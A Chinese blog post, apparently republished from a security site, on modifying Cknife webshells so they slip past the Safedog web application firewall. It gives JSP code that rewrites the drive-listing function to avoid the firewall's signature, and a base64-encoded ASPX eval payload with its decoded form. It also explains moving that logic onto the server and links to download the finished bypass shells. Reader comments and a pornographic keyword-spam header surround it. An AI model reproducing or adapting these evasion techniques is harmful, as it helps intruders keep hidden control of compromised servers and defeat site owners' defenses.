日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

打狗棒法之:Cknife(C刀)自定义模式秒过安全狗(二)

發布時間:2023/12/10 编程问答 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 打狗棒法之:Cknife(C刀)自定义模式秒过安全狗(二) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

免責聲明:本站提供安全工具、程序(方法)可能帶有攻擊性,僅供安全研究與教學之用,風險自負!

0×00 前言

親愛的Chora小伙伴在上文說過,他是一個有責任心的基佬,要手把手為大家(不)負責任的講解如何使用Cknife。于是他揮動著小皮鞭,給了身為小弟(弟)的我24小時速成JSP、ASP.NET。在這種極度威逼利誘之下,我不負責任的攢出了繞狗第二式,內容過于冗長,還望請各位看官耐著性子,看一個渣農是如何利用Cknife過安全狗的(沒辦法,Chora牛總是太快,我秒不了)。

0×01 JSP繞狗代碼分析

首先我們需要判斷安全狗所攔截的代碼是哪一部分。由于本人是Chora牛口中的“二號垃圾”(一號已經另有他人),所以采用了最笨的辦法,一個函數一個函數刪除來判斷安全狗攔截的點在哪里。功夫不負有心人,第一個函數AA就被攔截了(還好不是最后一個,Bless God ~)。。。

當我刪除AA以后,神奇的發現免殺了(廢話,缺功能好不好!!!)。

顯然問題在void AA函數中,那究竟void AA函數里面是什么內容呢?我們接下來繼續看。

void AA(StringBuffer sb) throws Exception {File r[] = File.listRoots();for (int i = 0; i < r.length; i++) {sb.append(r[i].toString().substring(0,2));}}

從代碼中我們可以看出AA函數主要使用的listRoots方法(喂~總不可能攔截的for循環吧,混蛋!),查看API(好吧,其實我是查的百度。。。又被雀兒牛羞辱了),listRoots()是用來獲取系統的根目錄路徑。在不同的系統測試結果如下。

Windows系統返回的是A:、C:…,而Linux系統返回的是/。

這里我們順帶稍微提一下cknife的jsp馬兒的執行流程。其實我們的馬兒是在原有一句話的基礎上進行了少量的修改(按照我們的設想規范了一些參數)。這里以cknife.jsp的代碼為例,在cknife中,主要有以下幾個參數:

1、password ?密碼,大家都懂

2、action ? 對應的調用方法,也就是customsize中配置的各項內容,在JSP中為A、B、C等等,當然你也可以修改為其他名稱,只要保證config配置文件與服務器端的馬兒對應一致就可以了。

3、z1、z2 ? 傳遞的參數,根據方法的不同可能為文件路徑,文件名,數據庫名、cmd命令等等。

當cknife調用文件管理模塊的時候,其步驟如下。

1、獲取當前文件路徑,判斷系統類型(L249 )。

String s =request.getSession().getServletContext().getRealPath(“/”);

2、獲取系統根目錄,如過為windows,繪制圖像,列出盤符。(L250)

調用void AA

3、獲取當前路徑的所有文件,列出文件目錄;(L255)

調用void BB

4、根據其他具體操作調用具體方法(讀文件、讀路徑、寫文件、上傳、下載等等)。

其中,在第二步的時候使用到了void AA。完全不懂JSP代碼的我只想到了兩種思路,大牛們見(賤)笑了:

1、是否有其他相同或是類似功能的函數替代listroots;

2、對原有函數變形。

接下來我們就對上述兩種思路進行分析。

0×02 JSP繞過思路一

我恬不知恥的又找到了度娘(又被雀兒牛一頓罵),發現了File.List()方法,該方法羅列當前file對象路徑下的所有文件。測試代碼如下圖所示。

其實我們利用AA函數的目的只是為了獲取系統盤符而已,如果我能夠確定該盤符下存在文件內容,至少能夠確定該盤符確實存在,所以我想到了直接枚舉每一個盤符根目錄的文件就行了。所以有了以下的渣渣代碼。

? ? String[] disk = { "a", "b","c", "d", "e", "f", "g","h", "i", "j", "k" };StringBuffer sb = new StringBuffer("");for (int m = 0; m < disk.length; m++){try {String[] filelists = new File(disk[m] +":\\").list();//列舉盤符if (filelists.length > 0) {sb.append(disk[m] + ":\\\t"); // 如果文件數量>0表示該盤符存在}} catch (Exception e1) { // 如果異常提示該盤符不存在System.out.println("can not visit disk " + disk[m] + ":");}}System.out.println("存在的盤符為:" + sb.toString());

測試效果如下圖,正常顯示了盤符(不要問我為啥有H盤符,嘿~嘿~嘿~)

然后結合linux系統的特性,完整的代碼如下:

String[] disk = { "a", "b","c", "d", "e", "f", "g","h", "i", "j", "k" }; StringBuffer sb = new StringBuffer("");//原代碼中已聲明實際使用中需要刪除該參數 try{String[] filelists = new File("/etc").list();// 是否存在etc目錄推斷linux系統if(filelists.length > 0) {sb.append("/");// 如果文件數量>0表示該盤符存在} }catch(Exception e){for (int m = 0; m < disk.length; m++) {try{String[] filelists = new File(disk[m] + ":\\").list();// if(filelists.length > 0) {//判斷windows系統sb.append(disk[m] + ":\\\t"); // 如果文件數量>0表示該盤符存在}}catch (Exception e1) { // 如果異常提示該盤符不存在//System.out.println("can not visit disk " + disk[m] + ":");}} } //System.out.println("存在的盤符為:" + sb.toString());

將上述代碼替換原有的void AA中的內容,再用狗狗查殺一下。

當然這種方法有一定的局限性:

1、對比原有函數,會少了光驅等等無法讀取的盤符(雖然并沒什么卵用)。

2、如果盤符名稱人為更改過或者是用戶權限受限制的話,可能無法識別到正確的盤符。

0×03 JSP繞過思路二

作為一個學渣,看到原來的代碼中

File r[] = File.listRoots();

第一反應是新建一個File對象,從而替換File.listRoots的關鍵詞。

File??k = new File(""); File r[] = k.listRoots();

然后Chora牛笑我。。。這XX怎么可能過狗。。。

然而。。事實是真的XX就過狗了(嗶了個狗)。。。

執行的結果也是正確顯示

使用原有的JSP模式連接也可以正常執行,無需配置自定義模式。

所以,狗狗對jsp的一句話判斷可能略顯簡單了一些,就是File.listRoots();。所以只要發揮你的想象力,能做的事情就很多了。(當然,前提能夠在有狗狗的服務器上面寫入你的小馬馬,所以各位大牛見仁見智啦)?。

最后我們簡單總結一下,在測試過程中我們發現安全狗只是對Void AA進行了攔截,并沒有攔截其他功能,即是說我們仍可以正常使用諸如命令執行、數據庫等相關的功能(廢話。。。大家都知道本來JSP就過狗!)。

0X04 ASPX繞狗相關

上一文中,有小伙伴提醒補一個asp繞過的修改過程。其實原理都是類似的,我這里以ASPX的為例再介紹一下修改過程。

具體步驟如下:

1、你要會寫if語句。如if(action=”Index”)。

2、代碼完成。

what?什么鬼!!這就結束了?

是的,就這么簡單,讓我們慢慢來,這里以customsize自定義模式里的readdict讀目錄方法為例,首先查看Cknife的config.ini文件關于aspx的相關配置項如下。

Response.Write("->|");var err\:Exception;try{eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String("dmFyIEQ9U3lzdGVtLlRleHQuRW5jb2RpbmcuR2V0RW5jb2RpbmcoOTM2KS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoxIl0pKTt2YXIgbT1uZXcgU3lzdGVtLklPLkRpcmVjdG9yeUluZm8oRCk7dmFyIHM9bS5HZXREaXJlY3RvcmllcygpO3ZhciBQOlN0cmluZzt2YXIgaTtmdW5jdGlvbiBUKHA6U3RyaW5nKTpTdHJpbmd7cmV0dXJuIFN5c3RlbS5JTy5GaWxlLkdldExhc3RXcml0ZVRpbWUocCkuVG9TdHJpbmcoInl5eXktTU0tZGQgSEg6bW06c3MiKTt9Zm9yKGkgaW4gcyl7UD1EK3NbaV0uTmFtZTtSZXNwb25zZS5Xcml0ZShzW2ldLk5hbWUrIi9cdCIrVChQKSsiXHQwXHQtXG4iKTt9cz1tLkdldEZpbGVzKCk7Zm9yKGkgaW4gcyl7UD1EK3NbaV0uTmFtZTtSZXNwb25zZS5Xcml0ZShzW2ldLk5hbWUrIlx0IitUKFApKyJcdCIrc1tpXS5MZW5ndGgrIlx0LVxuIik7fQ%3D%3D")),"unsafe");}catch(err){Response.Write("ERROR\://"%2Berr.message);}Response.Write("|<-");Response.End()

簡而言之,就是eval執行了一段base64編碼的內容,這屬于一句話里面最常見的通信形式。我們對base64的代碼進行解密,為了閱讀方便,調整了格式,內容如下。

var D=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["z1"])); var m=new System.IO.DirectoryInfo(D); var s=m.GetDirectories(); var P:String; var i; function T(p:String):String{ return System.IO.File.GetLastWriteTime(p).ToString("yyyy-MM-dd HH:mm:ss"); }for(i in s){P=D+s[i].Name;Response.Write(s[i].Name+"/\t"+T(P)+"\t0\t-\n"); } s=m.GetFiles(); for(i in s){P=D+s[i].Name;Response.Write(s[i].Name+"\t"+T(P)+"\t"+s[i].Length+"\t-\n"); }

該段內容通過z1參數獲取到文件路徑,使用系統對象中的System.IO.DirectoryInfo()來獲得文件路徑下的文件信息,然后打印出來。由于一般情況下一句話的參數中經常會帶有eval、execute,導致其特征過于明顯。所以作為學渣的我想如果將這部分直接放在服務器執行的話,是不是就可以避免傳遞eval、execute等類似的關鍵詞了呢?因此,我在服務器上的aspx文件中直接寫入了上述內容,為了測試方便,我省去了base64編碼~(機智又任性!)。

然后,再提一下自定義模式對接cknife的要點有以下:

1、對應密碼,總不可能讓誰都能使用我的shell吧。

2、對應的action名稱,可自己更改。

3、參數z1、z2以及標識數據段的標識符(>|+data+|<)

PS:這里說明一下我的鍋~z1、z2參數的名稱也是可以更改的,只是我在一些功能的時候寫的有問題(其實就是直接寫死成z1、z2了),如果使用的時候遇到問題請見諒,這個在后續的版本中會進一步修復和優化。

最后我們參照上述三點整理我們的過狗文件,你是不是發現其實主要都在寫if語句判斷action內容…

具體的代碼內容請見下一小節。

0×05 渣渣的渣渣代碼

JSP下載? ? ? ? ? ? ? ? ? ? ? ? ?密碼:f65g ? ? ? ? ? ? ? ? ? 1.jsp(已更新)

ASPX相關下載? ? ? ? ? ? ???密碼:f65g ? ? ? ? ? ? ? ? ? cus.aspx

0×06 結語

本文給大家講解了如何通過最簡單的方法,利用現成的一句話加上cknife的自定義參數配置來打造自己的繞狗腳本。大家從我使用的工具和截圖可以看出:我真的是一個菜B!

上帝教會了我hello world,我卻用他來繞WAF~。

最后謝謝Chora小伙伴和MS509里面其他小伙伴帶我攪基,終于從寫Hello World進步到會寫if語句來繞狗狗了,么么噠!

*本文由melodyzx1撰寫并投稿,本文屬FreeBuf原創獎勵計劃文章,未經許可禁止轉載

收藏該文

melodyzx11篇文章等級:1級

這家伙太懶,還未填寫個人描述!

這些評論亮了

  • 安全狗項目負責人 回復 感謝您的提交,我們后期會對安全狗產品進行相應的加固 )7( 亮了
發表評論

已有 17 條評論

  • thor123? (1級) ?2016-03-25 回復 1樓

    思路之猥瑣

    亮了(5)
  • Chora? (3級) ?2016-03-25 回復 2樓

    接樓上,跟人一樣。

    亮了(4)
  • Qin翼? (1級) ?2016-03-25 回復 3樓

    思路猥瑣的跟樓上一樣

    亮了(4)
  • shentouceshi? (3級) ?2016-03-25 回復 4樓

    今天發在這里,明天就失效了。你發出來狗狗難道不會更新?

    亮了(3)
    • melodyzx1? (1級) ?2016-03-25 回復

      @ shentouceshi? 包括先前chora牛的文章,我們一共對四種不同的服務器語言提供了繞waf的方法。在之前我也有講過,cknife想的是作為一個提供自定義配置的平臺,打造屬于自己的專屬繞waf的腳本,在這里我只是拋磚引玉,希望給各位提供新的思路。身為一個菜逼,這是我所能想到的繞狗方法,當然修補起來也會很簡單,但是您回頭想一想,在促進狗狗進步的同時,我們的測試水平不也在一步步提高么?與其固步自封作繭自縛,倒不如大家齊頭并進來的好吧。我相信各位牛肯定有其他的過狗方法,如果只是這么簡單的繞狗方法就斷了各位的后路的話,我只能借用chora牛文中的最后一句話送您了。。。最后,請相信上帝給你關了一扇門 必然會為你開啟一扇窗。

      亮了(5)
  • 科科 ?2016-03-25 回復 5樓

    正常功能讓人家攔截你個逼

    亮了(4)
    • Qin翼? (1級) ?2016-03-25 回復

      @ 科科 什么是不正常功能?

      亮了(4)
    • 路人 ?2016-03-25 回復

      @ 科科 別逗~你覺得管理別人網站算正常功能?

      亮了(3)
    • melodyzx1? (1級) ?2016-03-25 回復

      @ 科科 謝謝大大指正。因為你看文章也看得出來我確實是菜逼,如果說的不對的還望大大海涵。在我看來,web滲透里面我們的最終目的是為了獲取網站的一定權限,不管是采用哪一種方法。菜刀是其中一種我認為最優的途徑,但是不可避免的問題是,普通一句話的特征過于的明顯(當然大大們有私藏的過waf一句話),導致被攔截。所以我們想到了最初我們滲透的目的,我們不是為了一句話而采用的一句話,而是為了最為方便的達成獲取權限的目的。雖然我們的過狗中采用了你說的“正常功能讓人家攔截你個逼”的思路,但是他至少在部分功能上實現了我們的要求撒~,與其費時間改一個過waf的一句話,顯然借助正常功能不被攔截又能達到目的,何樂而不為呢,至少不是所有管理員都希望任何人都能夠查看、修改服務器文件的吧?狗也好,菜刀也好,在我們看來都是傳奇式難以超越的存在,所以我們一直在說cknife只是提供一個平臺,并不是說為了取代誰誰誰,而是希望大家能夠借助它發現更多的新的方法和思路,顯然大家的目標都是一致的,不管用什么方法,只要能繞過waf,顯然都是可以利用的方法撒~

      亮了(4)
      • 小伙子不錯 ?2016-03-26 回復

        @ melodyzx1? 面對這種沒家教的人還能有這謙虛的態度,小伙子不錯,希望你能更加篤定、坦然的在這條路上走下去。堅持所想。

        亮了(4)
      • kg chen ?2016-03-26 回復

        @ 小伙子不錯 S——B如你,傻叉

        亮了(0)
  • 安全狗項目負責人 ?2016-03-25 回復 6樓

    感謝您的提交,我們后期會對安全狗產品進行相應的加固

    亮了(7)
    • 越獄兔 ?2016-03-25 回復

      @ 安全狗項目負責人 哈哈哈 狗狗不哭!!站起來擼!

      亮了(4)
  • fuker ?2016-03-25 回復 7樓

    上帝教會了我hello world,我卻用他來繞WAF

    亮了(2)
  • dayima ?2016-03-25 回復 8樓

    悶聲發大財 槍打出頭鳥

    亮了(2)
  • xxoo ?2016-03-26 回復 9樓

    建個abcdefg~z的字母表數組,一個個字符拼湊。穩穩地。

    亮了(2)
  • play ?2016-03-27 回復 10樓

    服了,這是哪家的WAF,這也太弱了

總結

以上是生活随笔為你收集整理的打狗棒法之:Cknife(C刀)自定义模式秒过安全狗(二)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。